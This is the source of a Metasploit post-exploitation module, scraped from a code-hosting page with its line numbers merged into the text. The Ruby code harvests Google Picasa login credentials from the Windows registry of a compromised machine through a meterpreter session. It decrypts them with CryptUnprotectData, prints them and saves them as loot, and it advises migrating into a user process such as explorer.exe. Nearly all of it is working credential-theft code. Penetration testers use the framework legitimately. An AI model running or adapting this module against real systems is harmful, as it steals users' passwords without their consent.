Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/enum_picasa_pwds.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Registry7include Msf::Post::Windows::Priv8include Msf::Auxiliary::Report910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Gather Google Picasa Password Extractor',15'Description' => %q{16This module extracts and decrypts the login passwords17stored by Google Picasa.18},19'License' => MSF_LICENSE,20'Author' => [21'Unknown', # SecurityXploded Team, www.SecurityXploded.com22'Sil3ntDre4m <sil3ntdre4m[at]gmail.com>',23],24'Platform' => [ 'win' ],25'SessionTypes' => [ 'meterpreter' ],26'Compat' => {27'Meterpreter' => {28'Commands' => %w[29stdapi_railgun_api30stdapi_sys_config_getuid31stdapi_sys_process_attach32stdapi_sys_process_get_processes33stdapi_sys_process_getpid34stdapi_sys_process_memory_allocate35stdapi_sys_process_memory_read36stdapi_sys_process_memory_write37]38}39}40)41)42end4344def prepare_railgun45if !session.railgun.get_dll('crypt32')46session.railgun.add_dll('crypt32')47end48end4950def decrypt_password(data)51pid = client.sys.process.getpid52process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)5354mem = process.memory.allocate(512)55process.memory.write(mem, data)5657if session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'58addr = [mem].pack('V')59len = [data.length].pack('V')60ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)61len, addr = ret['pDataOut'].unpack('V2')62else63addr = [mem].pack('Q')64len = [data.length].pack('Q')65ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)66len, addr = ret['pDataOut'].unpack('Q2')67end6869return '' if len == 07071decrypted_pw = process.memory.read(addr, len)72return decrypted_pw73end7475def get_registry76print_status('Looking in registry for stored login passwords by Picasa ...')7778username = registry_getvaldata('HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\', 'GaiaEmail') || ''79password = registry_getvaldata('HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\', 'GaiaPass') || ''8081credentials = Rex::Text::Table.new(82'Header' => 'Picasa Credentials',83'Indent' => 1,84'Columns' =>85[86'User',87'Password'88]89)9091foundcreds = 092if !username.empty? && !password.empty?93passbin = [password].pack('H*')94pass = decrypt_password(passbin)9596if pass && !pass.empty?97print_status('Found Picasa 2 credentials.')98print_good("Username: #{username}\t Password: #{pass}")99100foundcreds = 1101credentials << [username, pass]102end103end104105# For early versions of Picasa3106username = registry_getvaldata('HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\', 'GaiaEmail') || ''107password = registry_getvaldata('HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\', 'GaiaPass') || ''108109if !username.empty? && !password.empty?110passbin = [password].pack('H*')111pass = decrypt_password(passbin)112113if pass && !pass.empty?114print_status('Found Picasa 3 credentials.')115print_good("Username: #{username}\t Password: #{pass}")116117foundcreds = 1118credentials << [username, pass]119end120end121122if foundcreds == 1123path = store_loot(124'picasa.creds',125'text/csv',126session,127credentials.to_csv,128'decrypted_picasa_data.csv',129'Decrypted Picasa Passwords'130)131132print_status("Decrypted passwords saved in: #{path}")133else134print_status('No Picasa credentials found.')135end136rescue ::Exception => e137print_error("An error has occurred: #{e}")138end139140def run141uid = session.sys.config.getuid # Decryption only works in context of user's account.142143if is_system?144print_error("This module is running under #{uid}.")145print_error('Automatic decryption will not be possible.')146print_error('Migrate to a user process to achieve successful decryption (e.g. explorer.exe).')147else148prepare_railgun149get_registry150end151152print_status('Done')153end154end155156157